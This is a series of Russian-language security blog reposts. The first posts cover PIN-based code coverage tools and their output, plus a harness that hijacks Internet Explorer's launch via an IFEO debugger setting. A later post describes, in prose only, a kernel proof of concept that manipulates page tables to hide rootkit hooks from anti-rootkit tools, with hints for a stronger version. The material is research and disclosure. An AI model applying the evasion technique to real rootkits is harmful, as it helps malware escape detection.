После завершения работы исследуемого приложения в текущей директории будет создано некоторое количество текстовых файлов с именами вида CoverageData.log.<N>, где <N> - порядковый номер потока, который исполнялся в контексте исследуемого приложения. Эти файлы содержат информацию о дереве вызовов каждого из потоков. Для работы с деревом вызовов следует преобразовать их в Calltree Profile Format с помощью программы coverage_to_callgraph.py, которая принимает следующие параметры командной строки:

> python coverage_to_callgraph.py <log_file_path> <thread_number> [options]

... где <log_file_path> - путь к файлу CoverageData.log, а <thread_number> - порядковый номер потока. Если в результирующий лог требуется включить информацию обо всех потоках, то в качестве <thread_number> следует указать "*". В качестве опциональных параметров указываются следующие ключи:

--modules - Получать информацию только для указанных модулей (по именам). Для передачи списка из нескольких модулей следует разделять их имена запятой (например: --modules "iexplore.exe, ieframe.dll"). Если параметр --modules не указан - в результирующий файл будет включена информация обо всех исполняемых модулях исследуемого процесса.
--skip-symbols - По умолчанию coverage_to_callgraph.py автоматически загружает PDB-символы для нужных исполняемых модулей. Параметр --no-symbols позволяет отключить загрузку PDB символов, в таком случае, имена всех процедур в результирующем файле будут представлены в виде module+ofsset.

Пример:

C:\> python coverage_to_callgraph.py CoverageData.log *
SYMLIB: DLL_PROCESS_ATTACH
SYMLIB: Symbols path is "C:\Symbols;SRV*C:\Symbols*http://msdl.microsoft.com/download/symbols"

Code Coverage Analysis Tool for PIN
by Oleksiuk Dmitry, eSage Lab (dmitry@esagelab.com)

[!] Psyco is not available
[+] Input file(s): CoverageData.log.0, CoverageData.log.1, CoverageData.log.10, CoverageData.log.11, CoverageData.log.12, CoverageData.log.13, CoverageData.log.14, CoverageData.log.15, CoverageData.log.16, CoverageData.log.17, CoverageData.log.18, CoverageData.log.19, CoverageData.log.2, CoverageData.log.20, CoverageData.log.21, CoverageData.log.22, CoverageData.log.3, CoverageData.log.4, CoverageData.log.5, CoverageData.log.6, CoverageData.log.7, CoverageData.log.8, CoverageData.log.9
[+] Output file: Callgrind.out
[+] 80 modules readed
[+] Parsing routines list, please wait...

[+] 27806 routines readed
[+] Parsing call tree, please wait...

SYMLIB: Module loaded from "C:\Windows\SYSTEM32\ntdll.dll"
SYMLIB: 4239 symbols loaded for "C:\Windows\SYSTEM32\ntdll.dll"
SYMLIB: Module loaded from "C:\Windows\system32\IEFRAME.dll"
SYMLIB: 33516 symbols loaded for "C:\Windows\system32\IEFRAME.dll"
SYMLIB: Module loaded from "C:\Windows\System32\mshtml.dll"
SYMLIB: 35150 symbols loaded for "C:\Windows\System32\mshtml.dll"
SYMLIB: Module loaded from "C:\Windows\system32\OLEAUT32.dll"
SYMLIB: 3940 symbols loaded for "C:\Windows\system32\OLEAUT32.dll"

... skipped ...

[+] DONE (15 mins., 33 secs.)

SYMLIB: DLL_PROCESS_DETACH

По завершению работы coverage_to_callgraph.py в текущей директории будет создан файл Callgrind.out, работать с которым можно с помощью программы Kcachegrind, которая является наиболее удобным и популярным просмотрщиком логов Callgrind. Windows-версия Kcachegrind так же доступна на SourceForge.

Вид главного окна программы:

Kcachegrind обладает весьма развитыми возможностями для навигации по дереву вызовов, он позволяет:

Строить графы вызовов для интересующих процедур.
Отображать список функций, которые вызывали текущую (либо непосредственно, либо по цепочке).
Отображать список функций, которые были вызваны текущей.
Фильтровать отображаемую информацию по имени класса или исполняемого модуля и многое другое.

Выбор типа группировки для списка функций:

Для отрисовки графов в графов в Kcachegrind используется инструмент dot, из состава пакета Graphviz.

Пример графа вызовов относительно текущей процедуры:

Ещё несколько примеров:

Разработанный инструмент хорошо справляется с анализом весьма тяжелых приложений (таких как веб-браузеры), что и было продемонстрировано на примерах выше. Так же его можно использовать для детектирования факта успешной эксплуатации какой-либо уязвимости: Kcachegrind покажет исполненный в результате атаки шеллкод как неизвестную страницу памяти, которая не принадлежит какому-либо исполняемому модулю.

Стоит отметить, что запуск инструментального модуля в режиме записи всех вызовов не приводит к сколь-либо заметному снижению производительности исследуемого приложения по сравнению с режимом построения простой карты покрытия кода (см. результаты тестов, которые были озвучены в предыдущей записи).

Обновленный набор Code Coverage Analysis Tools доступен для загрузки на странице проекта в GitHub.

Анализ покрытия кода при поиске уязвимостей

2011-03-23T06:01:00.000-07:00

Репост из блога Esage Lab

Сутью задачи анализа покрытия кода (Code Coverage) является динамический анализ исполняемой программы с целью выяснения того, какие её части (и какое количество раз) были исполнены. Как не сложно догадаться, к основными областям, в которых решение данной задачи является востребованным, относятся тестирование программного обеспечения и фаззинг, как его более частный вариант. Для специалиста, занимающегося автоматизированным выявлением уязвимостей, полученная в ходе анализа покрытия кода информация особенно ценна из-за того, что она позволяет совершенно однозначно оценивать эффективность методов, применяемых для выявления уязвимостей: чем больше ветвей алгоритмов целевого приложения исполнялось в ходе тестирования - тем и эффективнее эти методы тестирования.

Для программ, которые написаны на компилируемых в машинный код языках, существуют следующие классы инструментов, позволяющих анализировать покрытие кода:

Профилировщики, использующие промежуточное представление кода (пример: LLVM, Vallgrind). Основным их недостатком является то, что такие профилировщики пригодны только для анализа программ с доступными исходными текстами.
Инструменты, использующие возможности для отладки, предоставляемые операционной системой (например: системный вызов ptrace() в *nix или Debug API в Windows). В качестве примера программ подобного рода можно привести ProcessStalker, фреймворк PaiMei а так же множество сомнительного вида скриптов, как для отладчиков, так и выполненные в виде отдельных инструментов (blocks.py, Tracer.py и другие). Данные инструменты обладают огромным количеством недостатков, что делает их совершенно непригодными для сколь-либо серьёзного использования. Среди основных: низкая производительность, сложности при анализе исполнения всех модулей в контексте процесса а так же, во многих случаях, потребность предварительного анализа интересующих модулей с помощью внешней программы (IDA Pro).
Инструменты, на прямую использующие возможности для отладки, заложенные в самой аппаратной архитектуре (пример: CFSearch, IKWYD). Подход как таковой не имеет явно выраженных недостатков, и целесообразность применения на практике той или иной программы определяется исключительно недостатками их реализации.
Полные эмуляторы, представляющие собой модифицированные виртуальные машины исполняющие весь код операционной системы, в среде которой запущенно тестируемое приложение (пример: TEMU). Основным недостатком данного класса программ является крайне низкая производительность, ведь эмуляции подлежит вся операционная система, а не только тестируемое приложение.
JiT-рекомпиляторы, осуществляющие анализ хода исполнения программы путём модификации её инструкций в процессе исполнения (пример: PIN Toolkit, DynamoRIO). По моему мнению, данные инструменты свободны от большей части перечисленных выше минусов, и поэтому лучше всего подходят для анализа покрытия кода при фаззинге. Из недостатков можно отметить разве что отсутствие готовых инструментов подобного рода, пригодных для анализа покрытия кода компонентов режима ядра.

В данной заметке я расскажу об относительно малоизвестном но весьма мощном инструментальном средстве под названием PIN Toolkit. PIN является наиболее функциональным и стабильным представителем программ, использующих динамическую рекомпиляцию кода для анализа его исполнения.

Основы работы с PIN

PIN представляет собой спонсируемую компанией Intel бесплатную разработку, которая поставляется с частично открытыми исходными текстами в виде SDK для Linux, Windows и Mac OS X. PIN работает на архитектурах IA-32, IA-64 (Itanium) и Intel64 (x86_64). Структурно его можно разделить на основное приложение (pin.exe), внедряемое в контекст анализируемого процесса ядро (pinvm.dll) и разрабатываемый пользователем инструментальный модуль (он так же внедряется в контекст анализируемого процесса). Инструментальный модуль представляет собой DLL-библиотеку, которая использует API, предоставляемый ядром PIN. Суть работы с API сводится к регистрации обработчиков, которые будут вызываться ядром в ходе исполнения кода исследуемого приложения и осуществлять либо логирование связанной с ходом исполнения информации, либо менять логику исполнения кода приложения любым образом, который разработчик инструментального модуля сочтет нужным.

Работать с анализируемым кодом назначаемые обработчики могут на следующих уровнях функциональности и гранулярности:

Исполняемые модули. Обработчик, который вызывается при загрузке какого-либо исполняемого модуля в контекст исследуемого процесса регистрируется при помощи функции IMG_AddInstrumentFunction(). Для работы с загружаемым модулем из обработчика используются другие IMG-функции, а для работы с отдельными секциями - функции SEC-семейства.
Функции. Обработчик, который вызывается для каждой функции исследуемой программы регистрируется при помощи функции RTN_AddInstrumentCall(). Для работы с инструкциями исследуемой функции внутри этого обработчика следует использовать RTN_InsHead()/RTN_InsTail() а так же семейство INS-функций для исследования самих инструкций.
Базовые блоки (basic blocks). Под базовым блоком подразумевается линейный участок кода находящийся между двумя инструкциями, которые являются или точкой входа вектора исполнения или непосредственно меняют значение EIP (CALL, JMP/Jxx, RET, и так далее). Обработчик, который вызывается для каждого базового блока исследуемой программы, регистрируется при помощи функции TRACE_AddInstrumentFunction(). Назначать обработчики для отдельных базовых блоков можно с помощью BBL_InsertCall(). Для работы с отдельными инструкциями, составляющими базовый блок, в теле обработчика можно использовать функции BBL_InsHead()/BBL_InsNext().
Собственно, сами инструкции. Обработчик, который вызывается для каждой инструкции исследуемой программы регистрируется при помощи функции INS_AddInstrumentFunction(). Назначать обработчики для отдельных инструкций можно с помощью INS_InsertCall(). Для анализа инструкций PIN использует библиотеку под названием XED. Его API так же доступно для использования в инструментальных модулях.

Так как ядро PIN перехватывает исполнение целевого процесса начиная с точки входа системного загрузчика - в инструментальных модулях гарантированно безопасное использование только функций самого PIN-а и стандартной С/С++ библиотеки. Попытка использования, к примеру, Win32 API чаще всего приводит к неработоспособности инструментального модуля.

Множество примеров разработки инструментальных модулей с подробными комментариями доступны в официальном руководстве.

Как уже было сказано, PIN работает по принципу динамической рекомпиляции кода исследуемой программы: в процессе его исполнения на место нужной инструкции записывается переход (JMP) в pinvm.dll, которая вызывает зарегистрированные инструментальным модулем обработчики и модифицирует инструкцию (или базовый блок) следующую за текущей. Таким образом достигается контроль над исполнением всего кода. Высокая скорость работы исследуемого кода при таких, казалось бы, сложных манипуляциях с ним обеспечивается за счёт отсутствия накладных расходов на взаимодействие между процессами и переключение потока между режимом пользователя и ядра, которые "съедают" основную часть процессорного времени при использовании более традиционных способов трассировки. Что интересно, под PIN нормально работают и сложные многопоточные приложения и даже самомодифицирующийся код, вроде следующего:

 1 #include <Windows.h>
 2 
 3  #pragma comment(linker,"/ENTRY:f_main")
 4 #pragma comment(linker,"/SECTION:.text,EWR")
 5 
 6 VOID Func_1(VOID)
 7 {
 8     MessageBoxA(0, __FUNCTION__"() called", "Message", 0);
 9 }
10 
11 VOID Func_2(VOID)
12 {
13     MessageBoxA(0, __FUNCTION__"() called", "Message", 0);
14 }
15 
16 __declspec(naked) VOID Func(VOID)
17 {
18     __asm
19     {
20         push    0x90909090
21         ret
22     }
23 }
24 
25 DWORD WINAPI f_main(VOID)
26 {
27     DWORD Address = 0;
28     char szMessage[0x50];
29 
30     __asm
31     {
32         call    _get_addr
33 
34 _get_addr:
35 
36         pop     eax
37         mov     Address, eax
38     }
39 
40     wsprintf(szMessage, "Address is 0x%.8x", Address);
41     MessageBoxA(0, szMessage, "Message", 0);
42 
43     *(PDWORD)((PUCHAR)&Func + 1) = (DWORD)&Func_1;
44 
45     Func();
46 
47     *(PDWORD)((PUCHAR)&Func + 1) = (DWORD)&Func_2;
48 
49     Func();
50 
51     return 0;
52 }
53

Анализ покрытия кода с PIN

Для анализа покрытия кода с использованием PIN нами был разработан относительно несложный инструментальный модуль а так же некоторые другие утилиты, которые были объединены в набор под названием Code Coverage Analysis Tools. В него входят:

Coverager.dll - Собственно, инструментальный модуль для PIN.
coverage_test.exe - Тестовое приложение, которое позволяет строить карты покрытия кода для Internet Explorer-а используя PIN и Coverager.dll.
coverage_parse.py - Скрипт для работы с логами, которые генерирует Coverager.dll.
symlib.pyd - Используемая в coverage_parse.py небольшая Python библиотека для работы с PDB символами.

Используются эти утилиты следующим образом:

Для начала необходимо загрузить актуальную версию PIN и распаковать архив в произвольную директорию.
Скопировать Coverager.dll в директорию с файлами PIN.
Отредактировать сценарий execute_pin.bat, что бы переменная среды PINPATH содержала актуальный путь к директории PIN.

Для построения карты покрытия кода какого-нибудь приложения следует запустить execute_pib.bat из консоли, передав ему командную строку для запуска целевого приложения в качестве аргумента. Пример:

> execute_pin.bat calc.exe

После завершения работы целевого приложения в текущей директории будут созданы следующие текстовые файлы:

CoverageData.log - Общая информация об исследуемом процессе (размер карты покрытия, количество потоков и исполняемых модулей, и так далее).
CoverageData.log.modules - Список полных путей к файлам исполняемых модулей, которые были загружены в контекст исследуемого процесса.
CoverageData.log.routines - Информация о функциях, которые получали управление в ходе исполнения исследуемого процесса.
CoverageData.log.blocks - Информация об отдельных базовых блоках инструкций, которые получали управление в ходе исполнения исследуемого процесса.

Файлы CoverageData.log.routines и CoverageData.log.blocks содержат информацию о функциях/блоках, принадлежащих всем исполняемым модулям, включая файл самого процесса а так же стандартные системные (ntdll, kernel32, user32, и так далее) и любые другие динамически загружаемые библиотеки.

Для представления информации из перечисленных выше логов в удобном для работы виде служит скрипт coverage_parse.py, который принимает следующие параметры командной строки:

> python coverage_parse.py <log_file_path> <--dump-blocks|--dump-routines> [other_options]

В качестве <log_file_path> указывается путь к файлу CoverageData.log, а один из обязательных ключей --dump-blocks или --dump-routines указывает на то, с информацией какого уровня гранулярности следует работать (базовые блоки или функции).

В качестве опциональных параметров указываются следующие ключи:

--outfile <file_path> - Сохранять информацию в указанный файл, вместо вывода в консоль.
--order-by-names - Сортировать вывод по имени (адресу) символа, который соответствует функции или базовому блоку (данный режим используется по умолчанию).
--order-by-calls - Сортировать вывод по количеству вызовов функции или базового блока.
--modules <modules> - Получать информацию только для указанных модулей (по именам). Для передачи списка из нескольких модулей следует разделять из имена запятой (например: --modules "iexplore.exe, ieframe.dll"). Если параметр --modules не указан - в вывод скрипта будет включена информация обо всех исполняемых модулях исследуемого процесса.
--skip-symbols - По умолчанию скрипт автоматически загружает PDB-символы для нужных исполняемых модулей и использует их для преобразования адресов всех функций и базовых блоков к виду module!symbol+offset. Параметр --no-symbols позволяет отключить загрузку PDB символов, в таком случае, все адреса в выводе скрипта будут представлены в виде module+ofsset.

Пример использования скрипта для получения информации о наиболее часто вызываемых функциях модуля calc.exe:

> python coverage_parse.py CoverageData.log --dump-routines --modules "calc" --order-by-calls

SYMLIB: DLL_PROCESS_ATTACH
SYMLIB: Symbols path is ".\Symbols;SRV*.\Symbols*http://msdl.microsoft.com/download/symbols"
SYMLIB: Module loaded from "C:\Windows\system32\calc.exe"
SYMLIB: 2774 symbols loaded for "C:\Windows\system32\calc.exe"
Filtering by module name "calc"
[+] Ordering list by number of calls
[+] Parsing routines list, please wait...

#
#   Calls count -- Function Name
#
          11560 -- calc.exe!UIntAdd
           7863 -- calc.exe!ATL::CAtlArray<ATL::CAtlRegExp::INSTRUCTION,ATL::CElementTraits<ATL::CAtlRegExp::INSTRUCTION> >::operator[]
           6559 -- calc.exe!_destroynum
           5780 -- calc.exe!ULongLongToUInt
           5780 -- calc.exe!_createnum
           5102 -- calc.exe!ATL::CAtlRegExp::MatchToken
           3788 -- calc.exe!ATL::CAtlArray<ATL::CAtlRegExp::INSTRUCTION,ATL::CElementTraits<ATL::CAtlRegExp::INSTRUCTION> >::SetCount
           3416 -- calc.exe!ATL::CAtlArray<ATL::CAtlRegExp::INSTRUCTION,ATL::CElementTraits<ATL::CAtlRegExp::INSTRUCTION> >::CallConstructors
           3404 -- calc.exe!ATL::CAtlRegExp::AddInstruction
           3196 -- calc.exe!addnum
           2902 -- calc.exe!lessnum
           2636 -- calc.exe!memcpy
           2470 -- calc.exe!_addnum
           2453 -- calc.exe!__security_check_cookie
           1743 -- calc.exe!CArgument::getPosition
           1084 -- calc.exe!CCalculatorMode::HandleBackgroundForChildWindows
           1084 -- calc.exe!CProgrammerMode::ProgDlgProc
            918 -- calc.exe!operator delete[]
            895 -- calc.exe!CEditBoxInput::HandleDlgProcMessage
            704 -- calc.exe!ATL::CAtlArray<FORMULA_PART *,ATL::CElementTraits >::GetAt

            ...
            пропущено ещё несколько сотен функций
            ...

              1 -- calc.exe!Gdiplus::Graphics::Graphics
              1 -- calc.exe!GdipGetImageGraphicsContext
              1 -- calc.exe!Gdiplus::Graphics::SetInterpolationMode
              1 -- calc.exe!GdipSetInterpolationMode
              1 -- calc.exe!Gdiplus::Graphics::SetSmoothingMode
              1 -- calc.exe!GdipSetSmoothingMode
              1 -- calc.exe!CProgrammerMode::ShowBitStrip
              1 -- calc.exe!CProgrammerMode::NormalizeCurrentBit
              1 -- calc.exe!CIO_vUpdateDecimalSymbol

[+] Processed modules list:

#
# Routines count -- Module Name
#
            422 -- gdiplus.dll
             58 -- winmm.dll
            107 -- apphelp.dll
            221 -- gdi32.dll
            370 -- kernel32.dll
            196 -- msvcrt.dll
             57 -- oleaut32.dll
             30 -- dwmapi.dll
            692 -- ntdll.dll
             60 -- shlwapi.dll
              5 -- sechost.dll
             92 -- imm32.dll
            705 -- calc.exe
             28 -- cryptbase.dll
             37 -- advapi32.dll
            577 -- ole32.dll
             33 -- lpk.dll
            825 -- msctf.dll
             10 -- version.dll
            309 -- usp10.dll
            278 -- windowscodecs.dll
            483 -- uxtheme.dll
            138 -- oleacc.dll
             95 -- clbcatq.dll
            251 -- comctl32.dll
            258 -- kernelbase.dll
            117 -- shell32.dll
             25 -- rpcrt4.dll
            465 -- user32.dll

[+] DONE

SYMLIB: DLL_PROCESS_DETACH

PIN так же корректно анализирует исполняемый код, который не принадлежит какому-либо загруженному модулю, и находится в произвольной executable-странице памяти. Для того, что бы получить информацию о таком коде из логов, для coverage_parser.py необходимо указать "?" в качестве имени модуля:

> python coverage_parse.py CoverageData.log --dump-routines --modules "?"

SYMLIB: DLL_PROCESS_ATTACH
SYMLIB: Symbols path is ".\Symbols;SRV*.\Symbols*http://msdl.microsoft.com/download/symbols"
Filtering by module name "?"
[+] Parsing routines list, please wait...

#
#   Calls count -- Function Name
#
              5 -- ?0x541be250
              5 -- ?0x55009060

              ...

Как видно из примера - в выводе скрипта такой код будет представлен в форме ?<address>.

Тестирование

В последнее время наблюдается следующая тенденция: многие исследователи, разрабатывающие различные системы динамического анализа кода, в качестве демонстрации возможностей этих систем ссылаются на тесты, для которых в качестве объекта используются маленькие приложения вроде calc и notepad или всевозможные вариации hackme.exe/vulnerable.exe из десятка строчек. Чаще всего подобные явления говорят или о невозможности решать с помощью демонстрируемого инструмента задачи из реальной жизни, или о том, что разработчик данного инструмента слишком увлечен ним самим, и воспринимает его в отрыве от практических задач.

Так как подобные тенденции мы не разделяем - в качестве демонстрации возможностей PIN и инструментального модуля Coverager.dll будут приведены результаты их тестирования на построении карты покрытия кода процесса браузера Internet Explorer 8, работающего в среде операционной системы Windows 7 SP1.

Для проведения тестирования была написана программа coverage_test.exe, ключевая часть исходных текстов которой выглядит следующим образом:

  1 int _tmain(int argc, _TCHAR* argv[])
  2 {
  3     char *lpszCmdLine = GetCommandLine();
  4     char *lpszCmd = strstr(lpszCmdLine, "@ ");
  5     if (lpszCmd == NULL)
  6     {
  7         /*
  8             Командная строка для запуска внешнего приложения не указана,
  9             coverage_test был запущен из командной строки.
 10         */
 11         char szSelfPath[MAX_PATH], szExecPath[MAX_PATH];
 12         GetModuleFileName(GetModuleHandle(NULL), szSelfPath, MAX_PATH);
 13         DWORD dwTestIterations = 1;
 14 
 15         SetConsoleCtrlHandler(CtrlHandler, TRUE);
 16 
 17         /*
 18             Регистрируем исполняемый файл текущего процесса как отладчик для IEXPLORE.EXE,
 19             при попытке его запуска система запустит наше приложение а путь к исполняемому файлу
 20             IEXPLORE.EXE будет передан ему в качестве аргумента командной строки.
 21         */
 22         sprintf_s(szExecPath, "\"%s\" @", szSelfPath);
 23         SetImageExecutionDebuggerOption("IEXPLORE.EXE", szExecPath);
 24 
 25         for (int i = 1; i < argc; i++)
 26         {
 27             if (!strcmp(argv[i], "--iterations") && argc > i + 1)
 28             {
 29                 // количество итераций для теста
 30                  dwTestIterations = atoi(argv[i + 1]);
 31                 printf("Iterations count: %d\n", dwTestIterations);
 32             }
 33             else if (!strcmp(argv[i], "--instrumentation-path") && argc > i + 1)
 34             {
 35                 /*
 36                     Путь к файлу инструментальной программы (в нашем случае это pin.exe),
 37                     сохраняем его в параметре реестра и использует при запуске IEXPLORE.EXE
 38                 */
 39                 SetOptionalApp(argv[i + 1]);
 40                 printf("Instrumentation tool path: \"%s\"\n", argv[i + 1]);
 41             }
 42         }
 43 
 44         // инициализация COM
 45         HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
 46         if (FAILED(hr))
 47         {
 48             printf("CoInitializeEx() ERROR 0x%.8x\n", hr);
 49             goto end;
 50         }
 51 
 52         DWORD dwTime = GetTickCount();
 53 
 54         // редактирование настроек IE: активируем single process mode 
 55         DisableIeMultiprocessMode();
 56 
 57         /*
 58             Вызов функции, которая открывает в IE тестовый адрес указанное число раз.
 59             Для взаимодействия с процессом браузера используется интерфейс IWebBrowser2.
 60         */
 61         IeOpenUrl(TEST_URL, dwTestIterations);
 62 
 63         // замер времени исполнения
 64         dwTime = GetTickCount() - dwTime;
 65         printf("Execution time: %d ms\n", dwTime);
 66 
 67         EnableIeMultiprocessMode();
 68         SetOptionalApp(NULL);
 69     }
 70     else
 71     {
 72         /*
 73             Текущий процесс был запущен системой в результате попытки
 74             запуска IEXPLORE.EXE.
 75         */
 76         DWORD dwExitCode = 0;
 77         char szOptional[MAX_PATH], szCmdLine[MAX_PATH];
 78         strcpy_s(szCmdLine, MAX_PATH, lpszCmd);
 79 
 80         lpszCmd += 2;
 81 
 82         // удаляем опцию "Debugger" для IEXPLORE.EXE
 83         SetImageExecutionDebuggerOption("IEXPLORE.EXE", NULL);
 84 
 85         // получаем путь к инструментальной программе
 86         if (GetOptionalApp(szOptional, MAX_PATH))
 87         {
 88             sprintf_s(szCmdLine, "\"%s\" %s", szOptional, lpszCmd);
 89         }
 90 
 91         // запуск IE c использованием PIN
 92         printf("CMDLINE: %s\n", szCmdLine);
 93         ExecCmd(&dwExitCode, szCmdLine);
 94     }
 95 
 96 end:
 97     printf("Press any key to quit...\n");
 98     _getch();
 99 
100     return 0;
101 }

Программа coverage_test.exe входит в состав Code Coverage Analysis Tools, её запуск следует производить с помощью сценария coverage_test_with_pin.bat, который инициирует запуск процесса браузера Internet Explorer под контролем PIN и проводит с ним то количество тестовых итераций, которое было указанно в качестве аргумента командной строки к coverage_test_with_pin.bat. Каждая тестовая итерация представляет собой открытие адреса google.com с помощью IWebBrowser2::Navigate() и ожидание завершения полной загрузки страницы.

С данной программой было проведено пять серий тестов с количеством итераций 1, 5, 10, 20 и 30. Ниже представлена гистограмма зависимости времени исполнения процесса браузера (в миллисекундах) от количества итераций:

Как видно, исполнение процесса под контролем PIN обуславливает примерно десятикратное снижение производительности в тестах. Однако, спад производительности становится менее значительным при увеличении числа итераций. Причина подобного, вероятно, кроется в самом принципе динамической рекомпиляции: высокие накладные расходы требуются только тогда, когда какой-либо фрагмент кода исполняется в первый раз, а при его повторное исполнение требует гораздо меньше процессорного времени.

Схожие разработки

PIN является не единственным фреймворком подобного подобного плана, существует так же разработка под названием DynamoRIO, которая похожа на PIN во всех отношениях. В качестве главных преимуществ DynamoRIO можно выделить более высокую производительность а так же полностью открытый под BSD лицензией исходный код. Однако, актуальная версия DynamoRIO имеет ряд проблем со стабильностью - мне так и не удалось добиться нормальной её работы на Windows 7, из-за чего выбор и пал на PIN.

C данными по сравнительной производительности обеих фреймворков можно ознакомится в заметке на GoVirtual: Performance Comparison of DynamoRIO and Pin.

Выводы

В заключении стоит отметить, что применение PIN непосредственно во время фаззинга оправданно только в том случае, если каждая итерация фаззера не влечет за собой создание нового процесса исследуемого приложения. Во всех остальных случаях применение анализа покрытия кода на основе PIN целесообразно только на этапе выбора тестовых данных, с которыми будет работать мутационный фаззер (выбирается тот набор данных, который дает максимальный размер покрытия при нормальном исполнении).

Code Coverage Analysis Tools доступны для загрузки на странице проекта в GitHub.

Обход детектирования модификаций кода в ядре

2011-01-21T03:30:00.000-08:00

Репост из блога Esage Lab

В прошлом посте речь шла про обход детектирования скрытого исполняемого кода на примере популярных антируткит-утилит. В этой записи я снова затрону тему их обхода, но на этот раз, речь будет идти про механизмы детектирования перехватов, установленных методом модификации кода в памяти.

Как несложно догадаться, детектирование перехватов, установленных как легитимным ПО так и всевозможными зловредами, на ряду с детектированием скрытого исполняемого кода является одной из возможностей, благодаря которым универсальные антируткиты все ещё остаются актуальными в качестве детекторов аномалий.

В "джентльменский набор" антируткита, обычно, входят возможности по детектированию следующих типов перехватов:

Модификация кода исполняемых модулей в памяти (сплайсинг - одна из возможных вариаций).
Модификация таблиц импорта или экспорта.
Модификация таблицы системных вызовов.
Модификация указателей на функции, которые содержатся в каких-либо динамических структурах ядра (DRIVER_OBJECT, OBJECT_TYPE_INITIALIZER и другие).

Детектирование модификаций кода в Rootkit Unhooker

Все эти типы перехватов объединяет тот факт, что их детектирование в любом случае будет представлять из себя чтение и проверку содержимого определённых регионов виртуальной памяти (ядра или пользовательского режима), в связи с чем напрашивается очевидный вывод: детектору можно подсунуть ложную страницу памяти путём манипуляций с таблицами, которые используются процессором для трансляции виртуальных адресов в физические.

Идея подобной атаки - отнюдь не нова: например, Skywing упоминал подобный метод как теоретически возможное решение для обхода PatchGuard на 64-х разрядных версиях Windows. Однако, в связи с тем, что в публичных источниках какую-либо реализацию подобного нам найти не удалось - было решено написать PoC, который бы в качестве демонстрации работоспособности идеи мог скрывать от антируткитов модификации кода, характерные для стандартных руткитов режима ядра.

Для понимания принципа работы PoC-а кратко рассмотрим реализацию механизма трансляции виртуальных адресов памяти в физические, которая применяется в современных операционных системах семейства Windows NT. Раздел "Protected Mode Memory Management" тома 3A руководства разработчика для архитектуры Intel 64 и IA-32 рассказывает нам о том, что в зависимости от значений различных управляющих флагов в контрольных регистрах процессора существует несколько режимов адресации, которые определяют как размер физической страницы, так и разрядность физического адреса (максимальное количество памяти, к которой способен обращаться процессор):

По умолчанию в Windows, начиная с XP Service Pack 2, используется режим PAE (Physical Address Extension) поскольку он является необходимым условием для поддержки NX/XD-битов, на которых, в свою очередь, базируется технология DEP. Как видно из таблицы, разрядность физического адреса в данном режиме составляет 36 бит, а размер физической страницы может составлять 2 мегабайта или 4 килобайта. Windows может использовать 2MB и 4KB физические страницы одновременно, по усмотрению диспетчера памяти ядра операционной системы. Так же стоит помнить, что размер виртуальной страницы памяти при этом всегда будет составлять 4KB (1000h байт).

Получение физического адреса из виртуального заключается в "складывании" адреса физической страницы и смещения на ней. Адрес физической страницы отыскивается процессором путём просмотра таблиц PDPTE, PDE и PTE, индексами для которых являются различные группы битов виртуального (линейного) адреса. Смещение на физической странице определяется младшими 12-ю битами виртуального адреса:

Физический адрес самой первой таблицы в иерархии, PDPTE, процессор считывает из регистра CR3, в который его помещает операционная система во время перехода в защищенный режим или при переключении задач.

Таким образом, для адресации 4GB виртуального адресного пространства Windows инициализирует:

4 записи в таблице PDPTE
4 таблицы PDE с 512-ю записями в каждой
512 таблиц PTE c 512-ю записями в каждой

В обзорных статьях, описывающих управление памятью в Windows, почему-то не упоминается один важный момент: для каждого процесса ядро аллоцирует свои собственные таблицы PDPTE и PDE а так же ту часть PTE таблиц, которые описывают пространство виртуальной памяти пользовательского режима. Общие для всех процессов только PTE-таблицы, описывающие пространство виртуальной памяти режима ядра.

Как уже было упомянуто, Windows может использовать и 2MB физические страницы, в случае с которыми схема вычисления физического адреса несколько упрощается за счёт того, что в ней не задействуются таблицы PTE:

Исходя из вышеизложенных принципов можно сделать вывод, что обращения к виртуальным адресам для какого-либо конкретного процесса в Windows можно "перенаправить" на ложную физическую страницу, путём манипуляции значениями физического адреса, которые хранятся в его PDE и/или PTE таблицах. Данная идя и легла в основу реализованного PoC-а, работа которого заключается в осуществлении следующих манипуляций:

Во время инициализации драйвер режима ядра PoC-а выделяет память, в которую копирует оригинальное содержимое страницы кода ядра, на который, в последствии, будет установлен перехват методом сплайсинга.
Устанавливает демонстрационный перехват функции ядра IoCallDriver() а так же нотификатор на создание/завершение процессов, который используется для отслеживания запуска процессов антируткитов.
По факту запуска процесса антируткита (которые, для упрощения примера, идентифицируются по списку известных имен исполняемых файлов) PoC модифицирует таблицы трансляции виртуальных адресов для этого процесса таким образом, что бы при попытке чтения модифицированной страницы кода ядра обращение происходило к "ложной" физической странице, которая содержит оригинальную копию кода.

Модификация таблиц трансляции виртуальных адресов в физические осуществляется следующим образом:

Выполняется поиск PDE записи, которая соответствует нужному виртуальному адресу.
Если PDE запись указывает на 2MB страницу - PoC производит логическое разбиение этой страницы на 512 страниц по 4KB, путём аллокации для них новой таблицы PTE записей.
Так как PTE записи, описывающие адреса пространства ядра, общие для всех процессов - PoC производит копирование таблицы PTE в новый регион памяти, физический адрес которого записывается в ранее найденную PDE запись.
И наконец - в PTE запись, соответствующую нужному виртуальному адресу, производится установка физического адреса "ложной" страницы памяти.

В графическом представлении модифицированные таблицы выглядят так:

Данная техника сокрытия имеет и некоторые недостатки:

Текущая демонстрационная реализация PoC-а умеет скрывать модификации кода только от тех процессов, имена исполняемых файлов которых заранее известны. Однако, этот недостаток можно устранить в "боевой" реализации путём идентификации процесса антируткита по факту попытки считывания ним модифицированной страницы памяти. Саму попытку считывания можно перехватывать используя или отладочные регистры процессора, или продемонстрированную в рутките Shadow Walker технику принудительной инвалидации страницы с перехватом исключения #PF при обращении к ней.
Так как в контексте процесса антируткита все обращения будут перенаправляться на "ложную" страницу с оригинальным исполняемым кодом - установленные руткитом перехваты для данного процесса срабатывать не будут. Для рассмотренной техники сокрытия данное ограничение нельзя обойти по определению, однако, для решения стоящих перед руткитом задач оно может являться не существенным.

Видео, демонстрирующее работу PoC-а:

PTBypass PoC from eSage Lab on Vimeo.

PoC работоспособен на 32-х разрядных версиях Windows XP, Vista и 7. Установленный перехват не детектируется такими антируткитами как RootkitUnhooker, GMER, Kernel Detective и CMC Anti Rootkit. Исходные тексты и исполняемые файлы PoC-а доступны в репозитории на GitHub а так же в виде архива.

Обход детектирования скрытого исполняемого кода

2010-12-27T03:25:00.000-08:00

Репост из блога Esage Lab

